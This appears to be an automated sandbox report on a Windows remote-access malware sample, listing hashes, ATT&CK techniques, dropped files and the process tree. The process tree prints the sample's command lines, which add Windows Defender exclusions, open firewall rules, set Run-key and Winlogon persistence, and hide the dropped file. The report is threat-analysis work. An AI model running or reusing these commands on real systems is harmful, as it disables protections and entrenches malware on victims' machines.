cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10

Analysis

max time kernel
144s
max time network
138s
platform
windows10-1703_x64
resource
win10-20230703-en
resource tags

arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
submitted
01/08/2023, 04:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe
Size

1.4MB
MD5

eb6bb0f14c75122433006a97c491e1a6
SHA1

330885a9c9a27f5f91d11e973eba4af8de6c66f2
SHA256

cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10
SHA512

530f347f7b437cefaef1c2202f35afa982a79e03fe4a69ae86ee03b06ae58ea4239cd1967a683a2dfe3274320e3771815353c86ac10efae4ec7bb35cee076ace
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

10^/10

evasion persistence upx

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1148472871-1113856141-1322182616-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\Music\\rot.exe,"	reg.exe

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
3536	netsh.exe
4844	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x000700000001b00b-251.dat	acprotect
behavioral1/files/0x000700000001b00b-252.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
4112	7z.exe
2292	ratt.exe
2516	ratt.exe

Loads dropped DLL 1 IoCs

pid	Process
4112	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001b00e-248.dat	upx
behavioral1/memory/4112-249-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x000700000001b00e-250.dat	upx
behavioral1/files/0x000700000001b00b-251.dat	upx
behavioral1/files/0x000700000001b00b-252.dat	upx
behavioral1/memory/4112-255-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/4112-258-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ratt = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ratt.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3988	PING.EXE
4512	PING.EXE

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3068	powershell.exe
3068	powershell.exe
3068	powershell.exe
2436	powershell.exe
2436	powershell.exe
2436	powershell.exe
4880	powershell.exe
4880	powershell.exe
4880	powershell.exe
744	powershell.exe
744	powershell.exe
744	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
192	powershell.exe
192	powershell.exe
192	powershell.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2292	ratt.exe
2516	ratt.exe
2516	ratt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5116	WMIC.exe
Token: SeSecurityPrivilege	5116	WMIC.exe
Token: SeTakeOwnershipPrivilege	5116	WMIC.exe
Token: SeLoadDriverPrivilege	5116	WMIC.exe
Token: SeSystemProfilePrivilege	5116	WMIC.exe
Token: SeSystemtimePrivilege	5116	WMIC.exe
Token: SeProfSingleProcessPrivilege	5116	WMIC.exe
Token: SeIncBasePriorityPrivilege	5116	WMIC.exe
Token: SeCreatePagefilePrivilege	5116	WMIC.exe
Token: SeBackupPrivilege	5116	WMIC.exe
Token: SeRestorePrivilege	5116	WMIC.exe
Token: SeShutdownPrivilege	5116	WMIC.exe
Token: SeDebugPrivilege	5116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5116	WMIC.exe
Token: SeRemoteShutdownPrivilege	5116	WMIC.exe
Token: SeUndockPrivilege	5116	WMIC.exe
Token: SeManageVolumePrivilege	5116	WMIC.exe
Token: 33	5116	WMIC.exe
Token: 34	5116	WMIC.exe
Token: 35	5116	WMIC.exe
Token: 36	5116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5116	WMIC.exe
Token: SeSecurityPrivilege	5116	WMIC.exe
Token: SeTakeOwnershipPrivilege	5116	WMIC.exe
Token: SeLoadDriverPrivilege	5116	WMIC.exe
Token: SeSystemProfilePrivilege	5116	WMIC.exe
Token: SeSystemtimePrivilege	5116	WMIC.exe
Token: SeProfSingleProcessPrivilege	5116	WMIC.exe
Token: SeIncBasePriorityPrivilege	5116	WMIC.exe
Token: SeCreatePagefilePrivilege	5116	WMIC.exe
Token: SeBackupPrivilege	5116	WMIC.exe
Token: SeRestorePrivilege	5116	WMIC.exe
Token: SeShutdownPrivilege	5116	WMIC.exe
Token: SeDebugPrivilege	5116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5116	WMIC.exe
Token: SeRemoteShutdownPrivilege	5116	WMIC.exe
Token: SeUndockPrivilege	5116	WMIC.exe
Token: SeManageVolumePrivilege	5116	WMIC.exe
Token: 33	5116	WMIC.exe
Token: 34	5116	WMIC.exe
Token: 35	5116	WMIC.exe
Token: 36	5116	WMIC.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	192	powershell.exe
Token: SeIncreaseQuotaPrivilege	4532	WMIC.exe
Token: SeSecurityPrivilege	4532	WMIC.exe
Token: SeTakeOwnershipPrivilege	4532	WMIC.exe
Token: SeLoadDriverPrivilege	4532	WMIC.exe
Token: SeSystemProfilePrivilege	4532	WMIC.exe
Token: SeSystemtimePrivilege	4532	WMIC.exe
Token: SeProfSingleProcessPrivilege	4532	WMIC.exe
Token: SeIncBasePriorityPrivilege	4532	WMIC.exe
Token: SeCreatePagefilePrivilege	4532	WMIC.exe
Token: SeBackupPrivilege	4532	WMIC.exe
Token: SeRestorePrivilege	4532	WMIC.exe
Token: SeShutdownPrivilege	4532	WMIC.exe
Token: SeDebugPrivilege	4532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4532	WMIC.exe
Token: SeRemoteShutdownPrivilege	4532	WMIC.exe
Token: SeUndockPrivilege	4532	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 4040	2952	cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe	70
PID 2952 wrote to memory of 4040	2952	cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe	70
PID 2952 wrote to memory of 4040	2952	cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe	70
PID 4040 wrote to memory of 332	4040	cmd.exe	73
PID 4040 wrote to memory of 332	4040	cmd.exe	73
PID 4040 wrote to memory of 332	4040	cmd.exe	73
PID 332 wrote to memory of 364	332	cmd.exe	74
PID 332 wrote to memory of 364	332	cmd.exe	74
PID 332 wrote to memory of 364	332	cmd.exe	74
PID 4040 wrote to memory of 4728	4040	cmd.exe	75
PID 4040 wrote to memory of 4728	4040	cmd.exe	75
PID 4040 wrote to memory of 4728	4040	cmd.exe	75
PID 4728 wrote to memory of 5116	4728	cmd.exe	76
PID 4728 wrote to memory of 5116	4728	cmd.exe	76
PID 4728 wrote to memory of 5116	4728	cmd.exe	76
PID 4040 wrote to memory of 3068	4040	cmd.exe	78
PID 4040 wrote to memory of 3068	4040	cmd.exe	78
PID 4040 wrote to memory of 3068	4040	cmd.exe	78
PID 4040 wrote to memory of 2436	4040	cmd.exe	79
PID 4040 wrote to memory of 2436	4040	cmd.exe	79
PID 4040 wrote to memory of 2436	4040	cmd.exe	79
PID 4040 wrote to memory of 4880	4040	cmd.exe	80
PID 4040 wrote to memory of 4880	4040	cmd.exe	80
PID 4040 wrote to memory of 4880	4040	cmd.exe	80
PID 4040 wrote to memory of 744	4040	cmd.exe	81
PID 4040 wrote to memory of 744	4040	cmd.exe	81
PID 4040 wrote to memory of 744	4040	cmd.exe	81
PID 4040 wrote to memory of 4316	4040	cmd.exe	82
PID 4040 wrote to memory of 4316	4040	cmd.exe	82
PID 4040 wrote to memory of 4316	4040	cmd.exe	82
PID 4040 wrote to memory of 4112	4040	cmd.exe	83
PID 4040 wrote to memory of 4112	4040	cmd.exe	83
PID 4040 wrote to memory of 4112	4040	cmd.exe	83
PID 4040 wrote to memory of 192	4040	cmd.exe	84
PID 4040 wrote to memory of 192	4040	cmd.exe	84
PID 4040 wrote to memory of 192	4040	cmd.exe	84
PID 192 wrote to memory of 4844	192	powershell.exe	85
PID 192 wrote to memory of 4844	192	powershell.exe	85
PID 192 wrote to memory of 4844	192	powershell.exe	85
PID 192 wrote to memory of 3536	192	powershell.exe	86
PID 192 wrote to memory of 3536	192	powershell.exe	86
PID 192 wrote to memory of 3536	192	powershell.exe	86
PID 192 wrote to memory of 4340	192	powershell.exe	87
PID 192 wrote to memory of 4340	192	powershell.exe	87
PID 192 wrote to memory of 4340	192	powershell.exe	87
PID 4340 wrote to memory of 4532	4340	cmd.exe	88
PID 4340 wrote to memory of 4532	4340	cmd.exe	88
PID 4340 wrote to memory of 4532	4340	cmd.exe	88
PID 192 wrote to memory of 2152	192	powershell.exe	90
PID 192 wrote to memory of 2152	192	powershell.exe	90
PID 192 wrote to memory of 2152	192	powershell.exe	90
PID 2152 wrote to memory of 1740	2152	cmd.exe	91
PID 2152 wrote to memory of 1740	2152	cmd.exe	91
PID 2152 wrote to memory of 1740	2152	cmd.exe	91
PID 192 wrote to memory of 2292	192	powershell.exe	92
PID 192 wrote to memory of 2292	192	powershell.exe	92
PID 192 wrote to memory of 2292	192	powershell.exe	92
PID 192 wrote to memory of 1192	192	powershell.exe	93
PID 192 wrote to memory of 1192	192	powershell.exe	93
PID 192 wrote to memory of 1192	192	powershell.exe	93
PID 4040 wrote to memory of 3984	4040	cmd.exe	94
PID 4040 wrote to memory of 3984	4040	cmd.exe	94
PID 4040 wrote to memory of 3984	4040	cmd.exe	94
PID 2292 wrote to memory of 4244	2292	ratt.exe	96

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1192	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe
"C:\Users\Admin\AppData\Local\Temp\cd0c855459ee25e5fd377620b8e8c5c195265c6187f80ec39e59ec4e3e6c9b10.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:332
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4880
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4316
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4112
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:192
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4844
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4340
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="KUPIWSCI" set AutomaticManagedPagefile=False
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:1740
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2292
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:4244
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        6⤵
        Runs ping.exe
        
        PID:3988
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        Modifies WinLogon for persistence
        
        PID:4484
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:4776
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 18
        6⤵
        Runs ping.exe
        
        PID:4512
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:1192
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    - Adds Run key to start application
    PID:3984
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
520.8MB

MD5
abdd3645fa9b285f9104b309e1978671

SHA1
45c8c927bee6e49e3d84ae487ec89454d62a96fc

SHA256
7be44d6e2d8995936fa8b42a55637c9bef0a541e4aacba9fff050df97aca9d85

SHA512
d31fe1cb0af13f5473d097869629c9d629f9369764db31c4f1afe5b72739e12d30a2517ffac3996acbd7f5086104b716820de59c9b406f02b26b4ad978370ce4

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
380.3MB

MD5
644440f4e65cb7856eb0396cc0856233

SHA1
028ede2ac0874b02c479520588d9d5e930480503

SHA256
49cfc86fb68c23b3acd9f8bbd9332fb0f24c0bb9c2b6d7867d110639af52a020

SHA512
12afe68a1fcccc4fa0268157324b9c8b0b323f12a5a805600f327731c67755b0e9218fd5678d3fbe3af3de1096e955553cfcfab1bf59573011b2b5f88e3b88c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
0f5cbdca905beb13bebdcf43fb0716bd

SHA1
9e136131389fde83297267faf6c651d420671b3f

SHA256
a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

SHA512
a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
a3e0b6b90abc31178049a6e6f81ee46a

SHA1
6e0169e5b018b799da749e1d3b1635bd978bbffa

SHA256
a701fa98b62d2c2944a3c5b74ab8cc634d809a95aef6a078326fca481193b519

SHA512
fa99cbb0cb1844b06151ac428bcb9dab2621c5eb36c125ecbd7edd0a0a5879c9dee78f47c5a3076f73eb8d4a14e5459e5ca93182ce07921d677cbc0c2f424ebc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
bd69280a5fcb89ef57856ced2b535208

SHA1
a1cbacbbd418d97bcaa0613a64a04441f94a012e

SHA256
5d1c8de93f221d24d032405b0dd8acaedde73a7d5f17d6462045f089792ea1b8

SHA512
e993d959e296d90ef63bc3f4bf1c26e93a86c2f1e97b7da2b9cced91d98fa914440ff70bb9484947194d90e02c6d725d704fbd423f9f79bf0ad204bfdc92ec1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
db3ab6fc058aaee06ad2925483475d01

SHA1
dc3f37735add34761d2979f7d80dc4aec30d499a

SHA256
e9a834549c31d87336e1b05668c04c8fec1413b8f35391396ad146b5d3c80ecd

SHA512
f59ce3de2799574069a42386eef8e094fbc949455afdcc9006ada4f11da3ae427bc9ac9584e0d3347e201b64ed2592db1e838149dc8544185ef8765b9eaa64d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
3522bb612127a85a3b0bb03e0fcd6cf1

SHA1
333d269b0c144b8af59c109bd7d63909ffc8b482

SHA256
04f607f17d34b7e40dcf3f10dcc7e613449e33bf71942d7cc3029d7cf2dda8a2

SHA512
faff2072662c9d02c60e77ad4ea1d9b39b9f1d6a29a3a17671b774872ace01523bb8624c1e8c7678aec81c2f127f9dd055a236037a70a56f2452562869f51f88

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
9b0a5dc35de86155d1d3c8069241c669

SHA1
dab388a58380d3a46a646e6d815ecd54925629ee

SHA256
95aa2c5eaa5819e876182b09686621fbfa9d6bdb36558e7e91739b873e49ff0c

SHA512
2491e52829db838ab930a1bca73f00c7fbce65be666c6b8eeb999695d67448e7d64a766c1fa41249fd2b7f875066bf5733e9dad785cb84c690678badc68dcf2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bm1wetqr.fhu.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
745.1MB

MD5
be788bb3680cf3809d9678ee6f7ba321

SHA1
499f01d5f654f83e172004dcc03f99abdd251734

SHA256
03a17a2b669f72df082569ea477977d824796da3b6b7a8d0e6f91f2629ef406b

SHA512
83c0b885740a57b84b2c909d0d6bb25baaa49d62499773030b59058325f37a5fcf39a1cd59ef9c229ca7289af7250034f6652e449625b67c2d260b285ddb9a8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
278.2MB

MD5
f79625bbade80002332155549fa3369c

SHA1
816177ea01a906fd6fab2f0e3d9558567241cdb8

SHA256
d29758d0c7794394d9699cb62d35ea202ded61c68e4f04dbe94f5eb4f9fa0f49

SHA512
f80cba6fcdcfa3d5e05149f6587bdd54240eb35e38e683f479510fa39f7b72322f5c3be3d88814e51ee0de10c82ddf8d7984ba1b738496661330e0e71d2a15f0

Download Submit
\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
memory/192-492-0x0000000008D60000-0x0000000008D7A000-memory.dmp

Filesize
104KB

Download
memory/192-267-0x0000000007A70000-0x0000000007ABB000-memory.dmp

Filesize
300KB

Download
memory/192-529-0x0000000009210000-0x0000000009232000-memory.dmp

Filesize
136KB

Download
memory/192-523-0x0000000009C50000-0x000000000A2C8000-memory.dmp

Filesize
6.5MB

Download
memory/192-497-0x0000000008D50000-0x0000000008D58000-memory.dmp

Filesize
32KB

Download
memory/192-530-0x000000000A2D0000-0x000000000A7CE000-memory.dmp

Filesize
5.0MB

Download
memory/192-369-0x00000000043A0000-0x00000000043B0000-memory.dmp

Filesize
64KB

Download
memory/192-264-0x0000000073ED0000-0x00000000745BE000-memory.dmp

Filesize
6.9MB

Download
memory/192-298-0x0000000009170000-0x0000000009204000-memory.dmp

Filesize
592KB

Download
memory/192-297-0x00000000043A0000-0x00000000043B0000-memory.dmp

Filesize
64KB

Download
memory/192-296-0x0000000009020000-0x00000000090C5000-memory.dmp

Filesize
660KB

Download
memory/192-584-0x0000000073ED0000-0x00000000745BE000-memory.dmp

Filesize
6.9MB

Download
memory/192-265-0x00000000074A0000-0x00000000077F0000-memory.dmp

Filesize
3.3MB

Download
memory/192-524-0x00000000090D0000-0x00000000090EA000-memory.dmp

Filesize
104KB

Download
memory/192-285-0x0000000073ED0000-0x00000000745BE000-memory.dmp

Filesize
6.9MB

Download
memory/192-290-0x0000000008CC0000-0x0000000008CF3000-memory.dmp

Filesize
204KB

Download
memory/192-291-0x0000000007810000-0x000000000782E000-memory.dmp

Filesize
120KB

Download
memory/744-223-0x0000000006890000-0x00000000068A0000-memory.dmp

Filesize
64KB

Download
memory/744-222-0x0000000006890000-0x00000000068A0000-memory.dmp

Filesize
64KB

Download
memory/744-254-0x0000000073FA0000-0x000000007468E000-memory.dmp

Filesize
6.9MB

Download
